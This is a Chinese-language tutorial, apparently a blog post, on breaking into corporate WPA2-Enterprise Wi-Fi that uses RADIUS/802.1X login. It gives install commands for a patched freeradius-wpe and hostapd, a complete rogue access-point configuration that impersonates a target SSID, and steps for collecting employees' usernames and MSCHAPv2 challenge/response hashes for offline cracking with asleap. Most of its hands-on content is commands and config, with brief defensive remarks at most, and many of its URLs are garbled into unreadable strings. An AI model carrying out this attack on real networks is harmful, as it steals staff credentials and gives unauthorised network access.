破解使用radius实现802.1x认证的企业无线网络
0x01前言概述
针对开放式(没有密码)无线网络的企业攻击，我个人感觉比较经典的攻击方式有2种，一种是eviltwin，一种是karma。karma应该是eviltwin攻击手法的升级版，攻击者只需要简单的监听客户端发的ssid探测和响应包就可以实现中间人了，受害者很少会有察觉。而且坊间曾有一个错误的认识，认为隐藏的ssid是不受karma影响的。但是实际情况是，客户端如果曾经连接过隐藏的ssid，也会广播这些网络的探测包。尽管karma这种攻击方式已经有10多年的历史了，但是在MAC OSX，ubuntu，老版本的andorid系统上依然有效。win7的默认配置居然是防护karma攻击的。
对加密的无线网络，针对个人网络，很多是使用wpa2-psk预共享密钥的方法来限制访问。而公司的无线网络有使用wpa2企业认证的，也有使用radius服务提供独立的用户名和密码来实现802.1x标准认证的。
0x02 实现过程
我这里是的攻击是使用hostapd扮演一个无线访问点，然后通过打补丁的freeraidus wpe来捕捉密码hash，最后用asleep来离线破解密码，来对抗相对安全的使用radius服务器提供独立的用户名和密码实现的802.1x认证的企业无线网络环境。
所需设备：
TP-LINK TL-WN821N
Kali 1.1.0
首先安装freeradius-wpe,既可以使用dpkg直接安装freeradius-server-wpe_2.1.12-1_i386.deb,也可以通过源码编译来安装，通过deb包安装方法的命令如下：
wget 1acK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6T1M7X3q4V1i4K6u0V1j5h3&6@1L8$3&6Q4x3V1k6X3M7X3g2W2M7X3q4V1K9i4g2K6i4K6u0V1N6%4m8W2i4K6u0r3M7X3q4%4i4K6u0r3L8h3q4K6N6r3g2J5i4K6u0r3k6Y4u0W2k6i4u0S2k6r3W2#2M7#2)9J5k6s2y4W2M7Y4k6W2M7W2)9J5k6s2N6H3k6g2)9#2k6U0u0Q4x3X3f1I4i4K6u0W2x3e0u0Q4x3X3b7I4i4K6g2X3K9e0x3^5y4W2)9J5k6h3c8W2j5R3`.`.
dpkg --install freeradius-server-wpe_2.1.12-1_i386.deb
ldconfig
cd /usr/local/etc/raddb/certs
./bootstrap && ldconfig
通过源码安装的步骤如下：
git clone 057K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6T1M7X3q4V1i4K6u0V1j5h3&6@1L8$3&6Q4x3V1k6X3M7X3g2W2M7X3q4V1K9i4g2K6i4K6u0V1N6%4m8W2i4K6u0W2k6$3W2@1
wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-2.1.12.tar.bz2
tar jxvf freeradius-server-2.1.12.tar.bz2
patch -p1 < ../freeradius-wpe.patch
./configure
make install
然后执行radiusd -X开启debug模式验证是否安装成功，如果运行此命令的时候提示
Failed binding to /usr/local/var/run/radiusd/radiusd.sock: No such file or directory
则需要建立相应的目录
[email protected]:/usr/local/etc/raddb/certs# mkdir -p /usr/local/var/run/radiusd/
接下来安装hostapd，命令如下：
wget 89fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2G2M7%4c8S2M7q4)9J5k6h3g2H3K9i4c8W2M7%4c8Q4x3X3g2X3K9g2)9J5c8Y4u0W2L8r3g2S2M7$3g2K6i4K6u0r3K9r3!0K6N6r3q4H3k6q4)9J5k6o6u0Q4x3X3f1H3i4K6u0W2N6r3q4J5i4K6u0W2k6%4Z5`.
tar zxvf hostapd-2.0.tar.gz
cd hostapd-2.0/hostapd/
cp defconfig .config
make
如果安装的时候提示：
../src/drivers/driver_nl80211.c:19:31: fatal error: netlink/genl/genl.h: No such file or directory
compilation terminated.
make: *** [../src/drivers/driver_nl80211.o] Error 1
则需要安装libnl开发包，命令如下：
[email protected]:/hostapd-2.0/hostapd# sudo apt-get install libnl1 libnl-dev
然后编辑hostapd-wpe.conf文件，如下
interface=wlan0
driver=nl80211
ssid=corp-lobby
country_code=DE
logger_stdout=-1
logger_stdout_level=0
dump_file=/tmp/hostapd.dump
ieee8021x=1
eapol_key_index_workaround=0
own_ip_addr=127.0.0.1
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
channel=1
wpa_pairwise=CCMP
rsn_pairwise=CCMP
实际操作需要修改的地方只有ssid项，如果你的目标企业无线网络的ssid叫corp-lobby，则修改ssid=corp-lobby,运行 hostapd -dd hostapd-wpe.conf 开启伪造的无线热点
这时候如果有企业员工在你附近，他的手机会自动连接你的伪造的无线热点，你就可以通过
tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
看到抓到的用户名和MSCHAPv2的响应hash和挑战hash。
有了challenge和response，就可以使用asleep工具来基于字典的暴力破解，命令如下
使用radius实现802.1x认证的企业无线网络相对来说还是比较安全的，如果每个用户的密码足够复杂的话。后续的国外研究者也对这种攻击增加了针对客户端和路由设备的心跳漏洞的工具，集成的项目叫cupid,有兴趣的可以参考d81K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4&6M7%4k6S2L8s2g2W2i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3V1k6Z5k6h3q4J5N6r3u0D9k6h3g2V1i4K6u0V1j5%4g2H3K9h3c8Q4x3X3c8%4K9i4u0W2L8r3g2K6M7#2)9J5c8R3`.`.
0x03 参考文章
ac3K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4m8Z5M7X3g2S2K9$3I4W2N6s2y4Q4x3X3g2T1L8r3!0Y4M7%4m8G2N6q4)9J5k6i4y4Y4i4K6u0r3x3U0l9I4x3#2)9J5c8U0l9$3i4K6u0r3j5%4u0S2j5$3E0A6L8X3N6Q4x3X3c8%4K9i4u0W2L8r3g2K6M7#2)9J5k6r3&6W2N6s2N6G2M7X3E0K6i4K6u0V1M7s2u0G2N6r3g2U0N6r3g2V1i4K6u0W2K9s2c8E0L8l9`.`. fe9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6A6L8Y4y4A6k6$3S2@1M7#2)9J5k6i4y4W2K9g2)9J5k6h3y4E0N6g2)9J5k6h3g2V1N6g2)9J5c8X3y4W2M7Y4c8Q4x3V1j5J5x3o6p5#2i4K6u0r3x3o6S2Q4x3V1k6A6L8Y4y4@1j5h3&6@1i4K6u0V1K9$3q4J5L8h3q4Q4x3X3c8E0K9h3N6Z5N6q4)9J5k6s2y4@1K9h3I4D9i4K6u0V1k6$3g2@1i4K6u0V1P5h3!0#2i4K6u0W2K9s2c8E0L8l9`.`.